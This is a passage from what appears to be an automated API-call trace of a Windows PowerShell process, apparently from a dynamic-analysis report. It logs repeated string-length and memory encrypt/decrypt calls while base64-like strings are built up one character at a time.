(param_1="ޗ䷅۸㩒팲ሄὟ㳞嘮䬘켹뜲ퟸ곚䒂栗粤ꃀ叱䄰䌚ꉪ撛ﱷ넦䮋ᴢ䆱蒝䗖ᲀਁ") returned 0x20 [0192.463] SysStringLen (param_1="ޗ䷅۸㩒팲ሄὟ㳞嘮䬘켹뜲ퟸ곚䒂栗粤ꃀ叱䄰䌚ꉪ撛ﱷ넦䮋ᴢ䆱蒝䗖ᲀਁ") returned 0x20 [0192.463] SysStringLen (param_1="ޗ䷅۸㩒팲ሄὟ㳞嘮䬘켹뜲ퟸ곚䒂栗粤ꃀ叱䄰䌚ꉪ撛ﱷ넦䮋ᴢ䆱蒝䗖ᲀਁ") returned 0x28 [0192.464] SystemFunction041 (in: Memory=0x3c0e3c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0e3c) returned 0x0 [0192.464] SysStringLen (param_1="gnL4wk8vMuya2oD/GvCgUlplrRb7fUUa1猞橋ﭿི濳윺") returned 0x28 [0192.464] SystemFunction040 (in: Memory=0x3c0e3c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0e3c) returned 0x0 [0192.464] SysStringLen (param_1="ޗ䷅۸㩒팲ሄὟ㳞嘮䬘켹뜲ퟸ곚䒂栗粤ꃀ叱䄰䌚ꉪ撛ﱷ넦䮋ᴢ䆱蒝䗖ᲀਁ둵酝﫽淒씼ꓷ︼") returned 0x28 [0192.464] SysStringLen (param_1="ޗ䷅۸㩒팲ሄὟ㳞嘮䬘켹뜲ퟸ곚䒂栗粤ꃀ叱䄰䌚ꉪ撛ﱷ넦䮋ᴢ䆱蒝䗖ᲀਁ둵酝﫽淒씼ꓷ︼") returned 0x28 [0192.464] SystemFunction041 (in: Memory=0x3c0e3c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0e3c) returned 0x0 [0192.464] SysStringLen (param_1="gnL4wk8vMuya2oD/GvCgUlplrRb7fUUa1n橋ﭿི濳윺") returned 0x28 [0192.464] SystemFunction040 (in: Memory=0x3c0e3c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0e3c) returned 0x0 [0192.464] SysStringLen (param_1="ޗ䷅۸㩒팲ሄὟ㳞嘮䬘켹뜲ퟸ곚䒂栗粤ꃀ叱䄰䌚ꉪ撛ﱷ넦䮋ᴢ䆱蒝䗖ᲀਁྊ夢陋苌蹀贒븴섅") returned 0x28 [0192.464] SysStringLen (param_1="ޗ䷅۸㩒팲ሄὟ㳞嘮䬘켹뜲ퟸ곚䒂栗粤ꃀ叱䄰䌚ꉪ撛ﱷ넦䮋ᴢ䆱蒝䗖ᲀਁྊ夢陋苌蹀贒븴섅") returned 0x28 [0192.464] SystemFunction041 (in: Memory=0x3c0e3c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0e3c) returned 0x0 [0192.464] SysStringLen (param_1="gnL4wk8vMuya2oD/GvCgUlplrRb7fUUa1nmﭿི濳윺") returned 0x28 [0192.465] SystemFunction040 (in: Memory=0x3c0e3c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0e3c) returned 0x0 [0192.465] SysStringLen (param_1="ޗ䷅۸㩒팲ሄὟ㳞嘮䬘켹뜲ퟸ곚䒂栗粤ꃀ叱䄰䌚ꉪ撛ﱷ넦䮋ᴢ䆱蒝䗖ᲀਁ焃ꥻ즜籪ﲨ钓ᇀ") returned 0x28 [0192.465] SysStringLen (param_1="ޗ䷅۸㩒팲ሄὟ㳞嘮䬘켹뜲ퟸ곚䒂栗粤ꃀ叱䄰䌚ꉪ撛ﱷ넦䮋ᴢ䆱蒝䗖ᲀਁ焃ꥻ즜籪ﲨ钓ᇀ") returned 0x28 [0192.465] SystemFunction041 (in: Memory=0x3c0e3c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0e3c) returned 0x0 [0192.465] SysStringLen (param_1="gnL4wk8vMuya2oD/GvCgUlplrRb7fUUa1nmaི濳윺") returned 0x28 [0192.465] SystemFunction040 (in: Memory=0x3c0e3c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0e3c) returned 0x0 [0192.465] SysStringLen (param_1="ޗ䷅۸㩒팲ሄὟ㳞嘮䬘켹뜲ퟸ곚䒂栗粤ꃀ叱䄰䌚ꉪ撛ﱷ넦䮋ᴢ䆱蒝䗖ᲀਁ戙䍱㉓苡閯Ὡ뤰") returned 0x28 [0192.465] SysStringLen (param_1="ޗ䷅۸㩒팲ሄὟ㳞嘮䬘켹뜲ퟸ곚䒂栗粤ꃀ叱䄰䌚ꉪ撛ﱷ넦䮋ᴢ䆱蒝䗖ᲀਁ戙䍱㉓苡閯Ὡ뤰") returned 0x28 [0192.465] SystemFunction041 (in: Memory=0x3c0e3c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0e3c) returned 0x0 [0192.465] SysStringLen (param_1="gnL4wk8vMuya2oD/GvCgUlplrRb7fUUa1nma0濳윺") returned 0x28 [0192.465] SystemFunction040 (in: Memory=0x3c0e3c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0e3c) returned 0x0 [0192.465] SysStringLen (param_1="ޗ䷅۸㩒팲ሄὟ㳞嘮䬘켹뜲ퟸ곚䒂栗粤ꃀ叱䄰䌚ꉪ撛ﱷ넦䮋ᴢ䆱蒝䗖ᲀਁ⛵\닚鼴ᐤࡀ좝⋖) returned 0x28 [0192.465] SysStringLen (param_1="ޗ䷅۸㩒팲ሄὟ㳞嘮䬘켹뜲ퟸ곚䒂栗粤ꃀ叱䄰䌚ꉪ撛ﱷ넦䮋ᴢ䆱蒝䗖ᲀਁ⛵\닚鼴ᐤࡀ좝⋖) returned 0x28 [0192.466] SystemFunction041 (in: Memory=0x3c0e3c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0e3c) returned 0x0 [0192.466] SysStringLen (param_1="gnL4wk8vMuya2oD/GvCgUlplrRb7fUUa1nma0X濳윺") returned 0x28 [0192.466] SystemFunction040 (in: Memory=0x3c0e3c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0e3c) returned 0x0 [0192.466] SysStringLen (param_1="ޗ䷅۸㩒팲ሄὟ㳞嘮䬘켹뜲ퟸ곚䒂栗粤ꃀ叱䄰䌚ꉪ撛ﱷ넦䮋ᴢ䆱蒝䗖ᲀਁ吋谘햕톲秒鮃钇걿") returned 0x28 [0192.466] SysStringLen (param_1="ޗ䷅۸㩒팲ሄὟ㳞嘮䬘켹뜲ퟸ곚䒂栗粤ꃀ叱䄰䌚ꉪ撛ﱷ넦䮋ᴢ䆱蒝䗖ᲀਁ吋谘햕톲秒鮃钇걿") returned 0x28 [0192.466] SystemFunction041 (in: Memory=0x3c0e3c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0e3c) returned 0x0 [0192.466] SysStringLen (param_1="gnL4wk8vMuya2oD/GvCgUlplrRb7fUUa1nma0XY윺") returned 0x28 [0192.467] SystemFunction040 (in: Memory=0x3c0e3c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0e3c) returned 0x0 [0192.467] SysStringLen (param_1="ޗ䷅۸㩒팲ሄὟ㳞嘮䬘켹뜲ퟸ곚䒂栗粤ꃀ叱䄰䌚ꉪ撛ﱷ넦䮋ᴢ䆱蒝䗖ᲀਁ卫愢儸⮱Ț▸夋") returned 0x28 [0192.467] SysStringLen (param_1="ޗ䷅۸㩒팲ሄὟ㳞嘮䬘켹뜲ퟸ곚䒂栗粤ꃀ叱䄰䌚ꉪ撛ﱷ넦䮋ᴢ䆱蒝䗖ᲀਁ卫愢儸⮱Ț▸夋") returned 0x28 [0192.467] SystemFunction041 (in: Memory=0x3c0e3c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0e3c) returned 0x0 [0192.467] SysStringLen (param_1="gnL4wk8vMuya2oD/GvCgUlplrRb7fUUa1nma0XY6") returned 0x28 [0192.467] SystemFunction040 (in: Memory=0x3c0e3c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0e3c) returned 0x0 [0192.467] SysStringLen (param_1="ޗ䷅۸㩒팲ሄὟ㳞嘮䬘켹뜲ퟸ곚䒂栗粤ꃀ叱䄰䌚ꉪ撛ﱷ넦䮋ᴢ䆱蒝䗖ᲀਁ옦赭憎觬ꈽ꘣㲆") returned 0x28 [0192.467] SysStringLen (param_1="ޗ䷅۸㩒팲ሄὟ㳞嘮䬘켹뜲ퟸ곚䒂栗粤ꃀ叱䄰䌚ꉪ撛ﱷ넦䮋ᴢ䆱蒝䗖ᲀਁ옦赭憎觬ꈽ꘣㲆") returned 0x28 [0192.467] SysStringLen (param_1="ޗ䷅۸㩒팲ሄὟ㳞嘮䬘켹뜲ퟸ곚䒂栗粤ꃀ叱䄰䌚ꉪ撛ﱷ넦䮋ᴢ䆱蒝䗖ᲀਁ옦赭憎觬ꈽ꘣㲆") returned 0x28 [0192.467] SysStringLen (param_1="ޗ䷅۸㩒팲ሄὟ㳞嘮䬘켹뜲ퟸ곚䒂栗粤ꃀ叱䄰䌚ꉪ撛ﱷ넦䮋ᴢ䆱蒝䗖ᲀਁ옦赭憎觬ꈽ꘣㲆") returned 0x30 [0192.468] SystemFunction041 (in: Memory=0x3da42c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da42c) returned 0x0 [0192.468] SysStringLen (param_1="gnL4wk8vMuya2oD/GvCgUlplrRb7fUUa1nma0XY6T뗸赖㌢緕ᑂ핐") returned 0x30 [0192.468] SystemFunction040 (in: Memory=0x3da42c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da42c) returned 0x0 [0192.468] SysStringLen (param_1="ޗ䷅۸㩒팲ሄὟ㳞嘮䬘켹뜲ퟸ곚䒂栗粤ꃀ叱䄰䌚ꉪ撛ﱷ넦䮋ᴢ䆱蒝䗖ᲀਁ옦赭憎觬ꈽ꘣㲆ꎇ見໠깍쀻澺萶") returned 0x30 [0192.468] SysStringLen (param_1="ޗ䷅۸㩒팲ሄὟ㳞嘮䬘켹뜲ퟸ곚䒂栗粤ꃀ叱䄰䌚ꉪ撛ﱷ넦䮋ᴢ䆱蒝䗖ᲀਁ옦赭憎觬ꈽ꘣㲆ꎇ見໠깍쀻澺萶") returned 0x30 [0192.468] SystemFunction041 (in: Memory=0x3da42c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da42c) returned 0x0 [0192.468] SysStringLen (param_1="gnL4wk8vMuya2oD/GvCgUlplrRb7fUUa1nma0XY6Ts赖㌢緕ᑂ핐") returned 0x30 [0192.468] SystemFunction040 (in: Memory=0x3da42c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da42c) returned 0x0 [0192.468] SysStringLen (param_1="ޗ䷅۸㩒팲ሄὟ㳞嘮䬘켹뜲ퟸ곚䒂栗粤ꃀ叱䄰䌚ꉪ撛ﱷ넦䮋ᴢ䆱蒝䗖ᲀਁ옦赭憎觬ꈽ꘣㲆뺻檅鄃鷫䘁睽㙰") returned 0x30 [0192.468] SysStringLen (param_1="ޗ䷅۸㩒팲ሄὟ㳞嘮䬘켹뜲ퟸ곚䒂栗粤ꃀ叱䄰䌚ꉪ撛ﱷ넦䮋ᴢ䆱蒝䗖ᲀਁ옦赭憎觬ꈽ꘣㲆뺻檅鄃鷫䘁睽㙰") returned 0x30 [0192.468] SystemFunction041 (in: Memory=0x3da42c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da42c) returned 0x0 [0192.468] SysStringLen (param_1="gnL4wk8vMuya2oD/GvCgUlplrRb7fUUa1nma0XY6TsA㌢緕ᑂ핐") returned 0x30 [0192.469] SystemFunction040 (in: Memory=0x3da42c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da42c) returned 0x0 [0192.469] SysStringLen (param_1="ޗ䷅۸㩒팲ሄὟ㳞嘮䬘켹뜲ퟸ곚䒂栗粤ꃀ叱䄰䌚ꉪ撛ﱷ넦䮋ᴢ䆱蒝䗖ᲀਁ옦赭憎觬ꈽ꘣㲆௙噹ⴄ鳥综䷉焴") returned 0x30 [0192.469] SysStringLen (param_1="ޗ䷅۸㩒팲ሄὟ㳞嘮䬘켹뜲ퟸ곚䒂栗粤ꃀ叱䄰䌚ꉪ撛ﱷ넦䮋ᴢ䆱蒝䗖ᲀਁ옦赭憎觬ꈽ꘣㲆௙噹ⴄ鳥综䷉焴") returned 0x30 [0192.469] SystemFunction041 (in: Memory=0x3da42c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da42c) returned 0x0 [0192.469] SysStringLen (param_1="gnL4wk8vMuya2oD/GvCgUlplrRb7fUUa1nma0XY6TsA=緕ᑂ핐") returned 0x30 [0192.469] SystemFunction040 (in: Memory=0x3da42c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da42c) returned 0x0 [0192.469] EtwEventActivityIdControl () returned 0x0 [0192.469] EtwEventActivityIdControl () returned 0x0 [0192.469] EtwEventActivityIdControl () returned 0x0 [0192.470] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e600, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0192.470] EtwEventActivityIdControl () returned 0x0 [0192.471] EtwEventActivityIdControl () returned 0x0 [0192.471] EtwEventActivityIdControl () returned 0x0 [0192.471] SysStringLen (param_1="") returned 0x8 [0192.471] SysStringLen (param_1="N") returned 0x8 [0192.471] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0192.472] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0192.472] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0192.472] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0192.472] SysStringLen (param_1="ND") returned 0x8 [0192.472] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0192.472] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0192.472] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0192.472] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0192.472] SysStringLen (param_1="NDZ") returned 0x8 [0192.472] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0192.472] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0192.472] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0192.472] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0192.473] SysStringLen (param_1="NDZl") returned 0x8 [0192.473] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0192.473] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0192.473] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0192.473] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0192.473] SysStringLen (param_1="NDZlO") returned 0x8 [0192.473] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0192.473] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0192.473] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0192.473] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0192.473] SysStringLen (param_1="NDZlOD") returned 0x8 [0192.473] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0192.474] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0192.474] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0192.474] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0192.474] SysStringLen (param_1="NDZlODR") returned 0x8 [0192.474] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0192.474] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0192.535] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0192.536] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0192.536] SysStringLen (param_1="NDZlODRm") returned 0x8 [0192.536] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0192.536] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0192.536] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0192.536] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0192.536] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x10 [0192.536] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0192.537] SysStringLen (param_1="NDZlODRmY뮇펬᠚࣢ᣆ㬞勉") returned 0x10 [0192.537] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0192.540] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0192.540] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0192.540] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0192.540] SysStringLen (param_1="NDZlODRmYz펬᠚࣢ᣆ㬞勉") returned 0x10 [0192.540] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0192.541] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0192.541] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0192.541] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0192.541] SysStringLen (param_1="NDZlODRmYzN᠚࣢ᣆ㬞勉") returned 0x10 [0192.541] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0192.541] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0192.541] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0192.541] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0192.541] SysStringLen (param_1="NDZlODRmYzNl࣢ᣆ㬞勉") returned 0x10 [0192.541] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0192.542] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0192.542] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0192.542] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0192.542] SysStringLen (param_1="NDZlODRmYzNlYᣆ㬞勉") returned 0x10 [0192.542] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0192.542] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0192.542] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0192.542] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0192.542] SysStringLen (param_1="NDZlODRmYzNlYT㬞勉") returned 0x10 [0192.542] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0192.542] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0192.542] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0192.542] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0192.543] SysStringLen (param_1="NDZlODRmYzNlYTJ勉") returned 0x10 [0192.543] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0192.543] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0192.543] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0192.543] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0192.543] SysStringLen (param_1="NDZlODRmYzNlYTJh") returned 0x10 [0192.543] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0192.543] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0192.543] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0192.543] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0192.544] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x18 [0192.544] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0192.544] SysStringLen (param_1="NDZlODRmYzNlYTJhM虵亅㸱멷嘇ꚺ") returned 0x18 [0192.544] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0192.544] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0192.544] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0192.544] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0192.544] SysStringLen (param_1="NDZlODRmYzNlYTJhMD亅㸱멷嘇ꚺ") returned 0x18 [0192.544] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0192.544] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0192.544] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0192.545] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0192.545] SysStringLen (param_1="NDZlODRmYzNlYTJhMDF㸱멷嘇ꚺ") returned 0x18 [0192.545] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0192.545] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0192.545] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0192.545] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0192.545] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFl멷嘇ꚺ") returned 0x18 [0192.545] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0192.545] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0192.545] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0192.545] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0192.545] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlM嘇ꚺ") returned 0x18 [0192.546] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0192.546] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0192.546] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0192.546] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0192.546] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTꚺ") returned 0x18 [0192.546] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0192.546] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0192.546] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0192.546] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0192.546] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTU") returned 0x18 [0192.546] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0192.546] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0192.546] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0192.547] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0192.547] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUw") returned 0x18 [0192.547] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0192.547] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0192.548] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0192.548] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0192.548] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x20 [0192.548] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0192.548] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZㄵ㋛仄杫ℂ︸饉") returned 0x20 [0192.548] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0192.548] SysStringLen 